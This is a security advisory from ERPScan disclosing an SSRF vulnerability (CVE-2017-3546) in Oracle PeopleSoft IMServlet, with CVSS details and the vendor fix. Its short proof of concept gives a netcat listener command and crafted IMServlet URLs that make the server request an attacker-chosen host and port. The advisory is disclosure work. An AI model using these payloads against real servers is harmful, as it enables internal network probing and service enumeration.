Oracle PeopleSoft ToolsRelease version 8.55.03, ToolsReleaseDB version 8.55, and HCM version 9.2 suffer from a server-side request forgery vulnerability.
1c066239dfe2408203084a2f7628f172Application: Oracle PeopleSoft
Versions Affected: ToolsRelease: 8.55.03; ToolsReleaseDB: 8.55;
PeopleSoft HCM 9.2
Vendor URL: http://oracle.com
Bugs: SSRF
Reported: 23.12.2016
Vendor response: 24.12.2016
Date of Public Advisory: 18.04.2017
Reference: Oracle CPU April 2017
Author: Roman Shalymov (ERPScan)
Description
1. ADVISORY INFORMATION
Title:[ERPSCAN-17-022] SSRF in PeopleSoft IMServlet
Advisory ID: [ERPSCAN-17-022]
Risk: high
CVE: CVE-2017-3546
Advisory URL: https://erpscan.com/advisories/erpscan-17-022-ssrf-peoplesoft-imservlet/
Date published: 18.04.2017
Vendors contacted: Oracle
2. VULNERABILITY INFORMATION
Class: SSRF
Impact: cross-site port attack, service enumeration
Remotely Exploitable: yes
Locally Exploitable: yes
CVSS Information
CVSS Base Score v3: 8.0 / 10
CVSS Base Vector:
AV : Attack Vector (Related exploit range) Network (N)
AC : Attack Complexity (Required attack complexity) High (H)
PR : Privileges Required (Level of privileges needed to exploit) High (H)
UI : User Interaction (Required user participation) None (N)
S : Scope (Change in scope due to impact caused to components beyond
the vulnerable component) Changed (C)
C : Impact to Confidentiality High (H)
I : Impact to Integrity High (H)
A : Impact to Availability High (H)
3. VULNERABILITY DESCRIPTION
An attacker can force a vulnerable server to trigger malicious
requests to third-party servers or to internal resources. This
vulnerability can then be leveraged to launch specific attacks such as
a cross-site port attack, service enumeration, and various other
attacks.
4. VULNERABLE PACKAGES
ToolsRelease: 8.55.03
ToolsReleaseDB: 8.55
PeopleSoft HCM 9.2
5. SOLUTIONS AND WORKAROUNDS
To correct this vulnerability, implement Oracle CPU April 2017
6. AUTHOR
Roman Shalymov
7. TECHNICAL DESCRIPTION
PoC
Run netcat
1. nc -l -p # on some host
In browser open the following links
http://PPLSOFTSRV:8000/IMServlet?Method=CONNECT
http://PPLSOFTSRV::8000/IMServlet?Method=GOOGLE_PRESENCE&im_to_user=abc&im_server_name=GOOGLE&im_server=SOMEHOST:OPEN_PORT/?param=var%23"
Read response in netcat
GET /?param=var HTTP/1.1
User-Agent: Java1.7.0_95
Host: SOMEHOST:OPEN_PORT
Accept: text/html, image/gif, image/jpeg, /; q=.2
Connection: Keep-Alive
8. ABOUT ERPScan Research
ERPScan research team specializes in vulnerability research and
analysis of critical enterprise applications. It was acknowledged
multiple times by the largest software vendors like SAP, Oracle,
Microsoft, IBM, VMware, HP for discovering more than 400
vulnerabilities in their solutions (200 of them just in SAP!).
ERPScan researchers are proud of discovering new types of
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ERPScan experts participated as speakers, presenters, and trainers at
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Our team consists of highly-qualified researchers, specialized in
various fields of cybersecurity (from web application to ICS/SCADA
systems), gathering their experience to conduct the best SAP security
research.
9. ABOUT ERPScan
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Cybersecurity provider. Founded in 2010, the company operates globally
and enables large Oil and Gas, Financial, Retail and other
organizations to secure their mission-critical processes. Named as an
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